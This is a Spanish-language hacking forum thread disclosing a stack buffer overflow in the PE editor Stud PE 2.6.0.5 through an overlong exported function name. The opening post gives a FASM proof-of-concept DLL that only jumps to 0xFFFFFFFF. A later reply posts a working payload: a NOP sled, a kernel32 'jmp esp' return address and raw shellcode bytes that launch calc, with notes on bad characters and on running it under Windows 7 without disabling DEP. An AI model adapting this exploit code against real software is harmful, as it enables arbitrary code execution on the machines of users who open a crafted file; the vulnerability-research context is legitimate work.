elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 07:21  


Tema destacado: Grupo de Facebook de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  [BUG-BOF] Stud PE 2.6.0.5
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [BUG-BOF] Stud PE 2.6.0.5  (Leído 2,570 veces)
RAID-MAM

Desconectado Desconectado

Mensajes: 58


Ver Perfil
[BUG-BOF] Stud PE 2.6.0.5
« en: 5 Marzo 2010, 08:06 »


En la version 2.6.0.5 y seguramente en algunas anteriores se encuentra un bug del tipo BOF , este ocurre en el listado de las funciones exportada al poner una funcion de nombre muy largo .


Este BUG podria permitir la ejecucion de un ShellCode , aunque el exploit que se publicara solamente causa un salto a 0xFFFFFFFF para evitar el uso malicioso por cualquier persona.


El buffer donde se explota el BOF es algo a si


4 bytes ( Poner cualquiera ) + 262 bytes ( Normalmente aqui iria un ShellCode) + 4 bytes[Direccion de retorno]

Código
Exploit equ  4 dup(0x90) ,262 dup (0x90) , 4 dup (0xFF) ;0xFFFFFFFF = jmp 0xFFFFFFFF
include "win32ax.inc"
entry ini
.data
ini:
 
proc start
 
stdcall  dword[ExitProcess],0
 
endp
data import
ccbase           = $400000
dd 0,0,0, kernel_name - ccbase , kernel_table - ccbase
dd 0,0,0,0,0
 
kernel_name: db "kernel32.dll",0
kernel_table:
ExitProcess: dd _ExitProcess - ccbase
 
dd 0
 
 
_ExitProcess: db 0,0,"ExitProcess",0
end data
section '.edata' export data readable
export 'ERRORMSG.DLL',start,Exploit
 
 
 
section '.reloc' fixups data discardable


Fuente:  http://secmam.blogspot.com/2010/03/bug-bof-stud-pe-2605.html

PD: No lo coloco con la intencion de spam si no que para evitar cualquier cosa legal contra el foro
« Última modificación: 6 Marzo 2010, 06:57 por DeadFly » En línea
Karcrack


Desconectado Desconectado

Mensajes: 2.191


Se siente observado ¬¬'


Ver Perfil
Re: [BOF]Stud PE :P
« Respuesta #1 en: 5 Marzo 2010, 15:06 »

Interesante... Supongo que el error esta en la lectura de la IAT (?)
En línea

RAID-MAM

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: [BOF]Stud PE :P
« Respuesta #2 en: 5 Marzo 2010, 20:09 »

Interesante... Supongo que el error esta en la lectura de la IAT (?)

Eran las 5 AM y como supondran no tenia ganas de explicar mas pero ahora si :P


El bug esta en la lectura del Export data , al ser el nombre de la funcion exportada muy larga pues ocurre el BOF .


El codigo esta ensamblado con FASM , para su explotacion el exploit tendria que quedar algo a si


1 dword ( 4 bytes ) cualquiera

262 bytes ( Exploit )

1 dword ( direccion de retorno adonde ira ret osea el principio de esos 262 bytes )
En línea
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: [BUG-BOF] Stud PE 2.6.0.5
« Respuesta #3 en: 7 Marzo 2010, 23:50 »

Estuve jugando un poco con el poc que pusiste. El error esta en un wsprintf

Código:
00420DCD  |. 50             |PUSH EAX                                ; /<%s> al nombre de la funcion (exploit)

00420DCE  |. 8D9424 6002000>|LEA EDX,DWORD PTR SS:[ESP+260]          ; |

00420DD5  |. 68 D42F4D00    |PUSH Stud_PE.004D2FD4                   ; |Format = "  %s "

00420DDA  |. 52             |PUSH EDX                                ; |s

00420DDB  |. FF15 7CD64A00  |CALL DWORD PTR DS:[<&USER32.wsprintfA>] ; \wsprintfA

Donde copia mas de lo debido. Probe un PoC que lanza la calc y funciona. Sólo que el payload tiene que ser:
NOPx266 . RET . SHELLCODE

Si pones antes la shellcode se complica para pegar el salto  :-\. Buscando un jmp esp en cualquier modulo que carga, la sc se me ejecutó sin problemas :).
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
RAID-MAM

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: [BUG-BOF] Stud PE 2.6.0.5
« Respuesta #4 en: 7 Marzo 2010, 23:58 »

Estuve jugando un poco con el poc que pusiste. El error esta en un wsprintf

Código:
00420DCD  |. 50             |PUSH EAX                                ; /<%s> al nombre de la funcion (exploit)

00420DCE  |. 8D9424 6002000>|LEA EDX,DWORD PTR SS:[ESP+260]          ; |

00420DD5  |. 68 D42F4D00    |PUSH Stud_PE.004D2FD4                   ; |Format = "  %s "

00420DDA  |. 52             |PUSH EDX                                ; |s

00420DDB  |. FF15 7CD64A00  |CALL DWORD PTR DS:[<&USER32.wsprintfA>] ; \wsprintfA

Donde copia mas de lo debido. Probe un PoC que lanza la calc y funciona. Sólo que el payload tiene que ser:
NOPx266 . RET . SHELLCODE

Si pones antes la shellcode se complica para pegar el salto  :-\. Buscando un jmp esp en cualquier modulo que carga, la sc se me ejecutó sin problemas :).

Puede ser de cualquiera de las 2 maneras :P  Aunque claro se facilita mas con el jmp esp y a la vez es mas efectivo


EDIT: Me auto corrijo , existe un 0x20 que interfiere para la ejecucion que yo proponia :P
« Última modificación: 8 Marzo 2010, 01:15 por SecMAM » En línea
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: [BUG-BOF] Stud PE 2.6.0.5
« Respuesta #5 en: 8 Marzo 2010, 23:24 »

EDIT: Me auto corrijo , existe un 0x20 que interfiere para la ejecucion que yo proponia :P

En realidad tuve problemas con la dirección, o sea si ponía antes la shellcode había que saltar explícitamente y como la dirección de la pila empezaba por 0x00 me cortaba el string. Porque tuviste problemas con el 0x20?
Ahí dejo el string que probé,

Código
Exploit equ  266 dup (0x90),
0x7b, 0x46, 0x86, 0x7c, ; 0x7c86467b jmp esp @ kernel32.dll0x31, 0xF6, 0x56, 0x64, 0x8B, 0x76, 0x30, 0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x6E, 0x08,
x8B, 0x36, 0x8B, 0x5D, 0x3C, 0x8B, 0x5C, 0x1D, 0x78, 0x01, 0xEB, 0x8B, 0x4B, 0x18, 0x67, 0xE3,
0xEC, 0x8B, 0x7B, 0x20, 0x01, 0xEF, 0x8B, 0x7C, 0x8F, 0xFC, 0x01, 0xEF, 0x31, 0xC0, 0x99, 0x32,
0x17, 0x66, 0xC1, 0xCA, 0x01, 0xAE, 0x75, 0xF7, 0x66, 0x81, 0xFA, 0x10, 0xF5, 0xE0, 0xE2, 0x75,
0xCC, 0x8B, 0x53, 0x24, 0x01, 0xEA, 0x0F, 0xB7, 0x14, 0x4A, 0x8B, 0x7B, 0x1C, 0x01, 0xEF, 0x03,
0x2C, 0x97, 0x68, 0x2E, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x87, 0x04, 0x24,
0x50, 0xFF, 0xD5, 0xCC
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
RAID-MAM

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: [BUG-BOF] Stud PE 2.6.0.5
« Respuesta #6 en: 9 Marzo 2010, 01:17 »

EDIT: Me auto corrijo , existe un 0x20 que interfiere para la ejecucion que yo proponia :P

En realidad tuve problemas con la dirección, o sea si ponía antes la shellcode había que saltar explícitamente y como la dirección de la pila empezaba por 0x00 me cortaba el string. Porque tuviste problemas con el 0x20?

Es por que si te fijas luego del %s viene un espacio ( 0x20 ) :P
En línea
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: [BUG-BOF] Stud PE 2.6.0.5
« Respuesta #7 en: 12 Marzo 2010, 06:07 »

Todo esto con el DEP Desactivado me imagino no?
En línea

Bien Super Divertido
@wifigdlmx
RAID-MAM

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: [BUG-BOF] Stud PE 2.6.0.5
« Respuesta #8 en: 12 Marzo 2010, 16:56 »

Todo esto con el DEP Desactivado me imagino no?


Por lo menos en Win7 y Win vista no tube que desactivar nada :P
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines